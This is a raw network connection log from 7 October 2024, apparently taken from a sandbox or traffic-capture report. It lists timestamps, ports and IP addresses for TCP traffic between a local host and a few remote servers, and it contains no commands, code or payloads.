Oct 7, 2024 03:23:35.128087044 CEST	61134	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:35.128113985 CEST	443	61134	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:35.128125906 CEST	61134	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:35.128130913 CEST	443	61134	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:35.130615950 CEST	61137	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:35.130645037 CEST	443	61137	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:35.131098986 CEST	61137	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:35.131242037 CEST	61137	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:35.131246090 CEST	443	61137	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:35.174531937 CEST	443	61135	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:35.174673080 CEST	443	61135	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:35.174737930 CEST	61135	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:35.174936056 CEST	61135	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:35.174949884 CEST	443	61135	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:35.174961090 CEST	61135	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:35.174967051 CEST	443	61135	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:35.177753925 CEST	61138	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:35.177778006 CEST	443	61138	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:35.177876949 CEST	61138	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:35.178029060 CEST	61138	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:35.178040981 CEST	443	61138	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:35.192656994 CEST	443	61133	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:35.192740917 CEST	443	61133	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:35.192822933 CEST	61133	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:35.192974091 CEST	61133	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:35.192991972 CEST	443	61133	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:35.193000078 CEST	61133	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:35.193005085 CEST	443	61133	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:35.197705030 CEST	61139	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:35.197746992 CEST	443	61139	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:35.197813034 CEST	61139	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:35.198079109 CEST	61139	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:35.198093891 CEST	443	61139	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:35.205327034 CEST	443	61136	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:35.205809116 CEST	443	61136	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:35.205861092 CEST	61136	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:35.205862999 CEST	443	61136	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:35.205916882 CEST	61136	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:35.206034899 CEST	61136	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:35.206046104 CEST	443	61136	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:35.206058979 CEST	61136	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:35.206063986 CEST	443	61136	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:35.208717108 CEST	61140	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:35.208810091 CEST	443	61140	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:35.208887100 CEST	61140	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:35.209048986 CEST	61140	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:35.209079027 CEST	443	61140	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:35.798110008 CEST	443	61137	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:35.805262089 CEST	61137	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:35.805284977 CEST	443	61137	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:35.805809021 CEST	61137	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:35.805811882 CEST	443	61137	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:35.831476927 CEST	443	61139	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:35.847551107 CEST	443	61140	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:35.850497961 CEST	61139	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:35.850537062 CEST	443	61139	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:35.851054907 CEST	61139	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:35.851062059 CEST	443	61139	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:35.851376057 CEST	61140	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:35.851475954 CEST	443	61140	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:35.851782084 CEST	61140	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:35.851797104 CEST	443	61140	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:35.859144926 CEST	443	61138	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:35.859637976 CEST	61138	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:35.859652996 CEST	443	61138	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:35.860424042 CEST	61138	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:35.860429049 CEST	443	61138	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:35.904699087 CEST	443	61137	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:35.905023098 CEST	443	61137	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:35.905072927 CEST	61137	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:35.909862995 CEST	61137	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:35.909874916 CEST	443	61137	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:35.909883022 CEST	61137	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:35.909887075 CEST	443	61137	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:35.934470892 CEST	61141	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:35.934504986 CEST	443	61141	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:35.934886932 CEST	61141	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:35.945638895 CEST	443	61139	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:35.946374893 CEST	443	61139	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:35.946424961 CEST	61139	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:35.946760893 CEST	443	61140	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:35.946830034 CEST	443	61140	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:35.946897030 CEST	61140	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:35.946919918 CEST	443	61140	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:35.946950912 CEST	443	61140	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:35.947005033 CEST	61140	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:35.962718964 CEST	443	61138	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:35.962811947 CEST	443	61138	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:35.962886095 CEST	61138	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:35.962898016 CEST	443	61138	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:35.962928057 CEST	443	61138	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:35.963154078 CEST	61138	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:35.964745998 CEST	61141	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:35.964768887 CEST	443	61141	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:35.964837074 CEST	61138	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:35.964844942 CEST	443	61138	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:35.991669893 CEST	61139	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:35.991683960 CEST	443	61139	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:35.993702888 CEST	61140	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:35.993702888 CEST	61140	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:35.993735075 CEST	443	61140	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:35.993758917 CEST	443	61140	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:36.010160923 CEST	61142	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:36.010191917 CEST	443	61142	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:36.010261059 CEST	61142	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:36.012063980 CEST	61143	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:36.012106895 CEST	443	61143	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:36.012192965 CEST	61143	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:36.013431072 CEST	61144	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:36.013467073 CEST	443	61144	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:36.013606071 CEST	61144	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:36.093565941 CEST	61142	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:36.093605042 CEST	443	61142	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:36.093754053 CEST	61143	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:36.093837023 CEST	443	61143	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:36.094666004 CEST	61144	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:36.094690084 CEST	443	61144	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:36.274410009 CEST	61132	80	192.168.2.4	185.215.113.43
Oct 7, 2024 03:23:36.274688005 CEST	61145	80	192.168.2.4	185.215.113.43
Oct 7, 2024 03:23:36.279573917 CEST	80	61145	185.215.113.43	192.168.2.4
Oct 7, 2024 03:23:36.279694080 CEST	61145	80	192.168.2.4	185.215.113.43
Oct 7, 2024 03:23:36.279745102 CEST	80	61132	185.215.113.43	192.168.2.4
Oct 7, 2024 03:23:36.279802084 CEST	61132	80	192.168.2.4	185.215.113.43
Oct 7, 2024 03:23:36.279851913 CEST	61145	80	192.168.2.4	185.215.113.43
Oct 7, 2024 03:23:36.284591913 CEST	80	61145	185.215.113.43	192.168.2.4
Oct 7, 2024 03:23:36.379163027 CEST	61131	80	192.168.2.4	185.215.113.37
Oct 7, 2024 03:23:36.633846045 CEST	443	61126	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:36.639066935 CEST	443	61141	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:36.648582935 CEST	61126	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:36.648622990 CEST	443	61126	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:36.649326086 CEST	61126	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:36.649353027 CEST	443	61126	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:36.650198936 CEST	61141	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:36.650216103 CEST	443	61141	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:36.651114941 CEST	61141	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:36.651119947 CEST	443	61141	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:36.737380981 CEST	443	61142	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:36.744909048 CEST	443	61126	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:36.744982004 CEST	443	61126	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:36.745089054 CEST	443	61126	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:36.745182037 CEST	61126	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:36.752105951 CEST	443	61141	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:36.752171993 CEST	443	61141	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:36.754626989 CEST	443	61143	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:36.754708052 CEST	61141	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:36.781768084 CEST	61142	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:36.784111023 CEST	61142	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:36.784116983 CEST	443	61142	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:36.787586927 CEST	61142	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:36.787595987 CEST	443	61142	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:36.787880898 CEST	61143	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:36.787940979 CEST	443	61143	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:36.788085938 CEST	443	61144	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:36.788589954 CEST	61143	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:36.788604021 CEST	443	61143	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:36.788821936 CEST	61144	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:36.788846016 CEST	443	61144	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:36.789171934 CEST	61144	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:36.789179087 CEST	443	61144	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:36.789853096 CEST	61126	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:36.789877892 CEST	443	61126	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:36.789892912 CEST	61126	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:36.789900064 CEST	443	61126	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:36.791620016 CEST	61141	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:36.791620016 CEST	61141	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:36.791635036 CEST	443	61141	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:36.791644096 CEST	443	61141	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:36.802966118 CEST	61146	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:36.802989960 CEST	443	61146	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:36.803075075 CEST	61146	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:36.803214073 CEST	61146	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:36.803225994 CEST	443	61146	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:36.804172039 CEST	61147	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:36.804220915 CEST	443	61147	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:36.804318905 CEST	61147	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:36.804543018 CEST	61147	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:36.804563999 CEST	443	61147	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:36.882360935 CEST	443	61142	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:36.882690907 CEST	443	61142	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:36.882755995 CEST	61142	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:36.882853031 CEST	61142	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:36.882853031 CEST	61142	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:36.882867098 CEST	443	61142	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:36.882874966 CEST	443	61142	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:36.885437965 CEST	61148	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:36.885482073 CEST	443	61148	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:36.885554075 CEST	61148	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:36.885720968 CEST	61148	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:36.885750055 CEST	443	61148	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:36.886826038 CEST	443	61143	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:36.887233973 CEST	443	61143	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:36.887285948 CEST	443	61143	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:36.887291908 CEST	61143	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:36.887335062 CEST	61143	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:36.887414932 CEST	61143	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:36.887414932 CEST	61143	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:36.887448072 CEST	443	61143	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:36.887476921 CEST	443	61143	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:36.889554024 CEST	61149	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:36.889610052 CEST	443	61149	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:36.889765024 CEST	61149	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:36.889908075 CEST	61149	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:36.889940977 CEST	443	61149	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:36.893420935 CEST	443	61144	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:36.893553019 CEST	443	61144	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:36.893621922 CEST	61144	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:36.893738985 CEST	61144	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:36.893739939 CEST	61144	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:36.893762112 CEST	443	61144	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:36.893771887 CEST	443	61144	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:36.896219015 CEST	61150	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:36.896243095 CEST	443	61150	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:36.896492958 CEST	61150	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:36.896625996 CEST	61150	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:36.896651983 CEST	443	61150	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:36.983124971 CEST	80	61145	185.215.113.43	192.168.2.4
Oct 7, 2024 03:23:36.983408928 CEST	61145	80	192.168.2.4	185.215.113.43
Oct 7, 2024 03:23:37.439863920 CEST	443	61146	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:37.441591978 CEST	61146	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:37.441612959 CEST	443	61146	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:37.441956997 CEST	61146	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:37.441962004 CEST	443	61146	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:37.483223915 CEST	443	61147	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:37.493279934 CEST	61147	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:37.493315935 CEST	443	61147	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:37.493865013 CEST	61147	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:37.493870974 CEST	443	61147	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:37.538578987 CEST	443	61146	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:37.538635969 CEST	443	61146	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:37.538815022 CEST	61146	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:37.540400982 CEST	61146	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:37.540415049 CEST	443	61146	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:37.549890041 CEST	443	61149	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:37.554083109 CEST	61149	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:37.554142952 CEST	443	61149	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:37.554513931 CEST	61149	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:37.554527998 CEST	443	61149	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:37.562216043 CEST	443	61150	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:37.562581062 CEST	61151	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:37.562660933 CEST	443	61151	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:37.562822104 CEST	61151	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:37.562846899 CEST	61150	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:37.562863111 CEST	443	61150	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:37.563453913 CEST	61150	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:37.563466072 CEST	443	61150	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:37.563802958 CEST	443	61148	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:37.564414978 CEST	61148	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:37.564456940 CEST	443	61148	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:37.564805984 CEST	61148	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:37.564817905 CEST	443	61148	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:37.565165043 CEST	61151	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:37.565191984 CEST	443	61151	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:37.595133066 CEST	443	61147	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:37.595201015 CEST	443	61147	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:37.595316887 CEST	61147	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:37.595730066 CEST	61147	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:37.595748901 CEST	443	61147	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:37.595760107 CEST	61147	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:37.595766068 CEST	443	61147	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:37.598683119 CEST	61152	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:37.598715067 CEST	443	61152	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:37.598771095 CEST	61152	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:37.599303007 CEST	61152	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:37.599317074 CEST	443	61152	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:37.653316021 CEST	443	61149	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:37.653382063 CEST	443	61149	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:37.653451920 CEST	61149	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:37.653903008 CEST	61149	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:37.653947115 CEST	443	61149	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:37.653975964 CEST	61149	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:37.653991938 CEST	443	61149	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:37.656141996 CEST	61153	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:37.656181097 CEST	443	61153	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:37.656244993 CEST	61153	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:37.656377077 CEST	61153	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:37.656397104 CEST	443	61153	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:37.663865089 CEST	443	61150	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:37.663913012 CEST	443	61150	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:37.664093971 CEST	61150	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:37.664170980 CEST	443	61150	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:37.664217949 CEST	443	61150	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:37.664282084 CEST	61150	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:37.664333105 CEST	61150	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:37.664333105 CEST	61150	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:37.664365053 CEST	443	61150	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:37.664387941 CEST	443	61150	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:37.666155100 CEST	61154	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:37.666198015 CEST	443	61154	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:37.666337967 CEST	61154	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:37.666481972 CEST	61154	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:37.666512012 CEST	443	61154	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:37.667546988 CEST	443	61148	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:37.667597055 CEST	443	61148	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:37.667665005 CEST	61148	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:37.667701006 CEST	443	61148	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:37.667736053 CEST	443	61148	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:37.667814016 CEST	61148	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:37.667853117 CEST	443	61148	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:37.667881966 CEST	61148	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:37.667881966 CEST	61148	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:37.667901993 CEST	443	61148	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:37.667920113 CEST	443	61148	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:37.670449972 CEST	61155	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:37.670484066 CEST	443	61155	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:37.670701981 CEST	61155	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:37.670838118 CEST	61155	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:37.670866013 CEST	443	61155	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:38.199276924 CEST	443	61151	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:38.199764967 CEST	61151	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:38.199807882 CEST	443	61151	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:38.200232029 CEST	61151	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:38.200247049 CEST	443	61151	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:38.279248953 CEST	443	61152	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:38.279755116 CEST	61152	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:38.279788017 CEST	443	61152	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:38.280288935 CEST	61152	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:38.280299902 CEST	443	61152	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:38.289968967 CEST	443	61153	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:38.290313959 CEST	61153	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:38.290374041 CEST	443	61153	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:38.290731907 CEST	61153	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:38.290746927 CEST	443	61153	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:38.301000118 CEST	443	61151	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:38.301017046 CEST	443	61151	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:38.301064968 CEST	443	61151	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:38.301085949 CEST	61151	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:38.301126957 CEST	61151	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:38.301332951 CEST	61151	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:38.301368952 CEST	443	61151	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:38.301412106 CEST	61151	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:38.301426888 CEST	443	61151	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:38.304042101 CEST	61156	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:38.304085016 CEST	443	61156	13.107.246.45	192.168.2.4
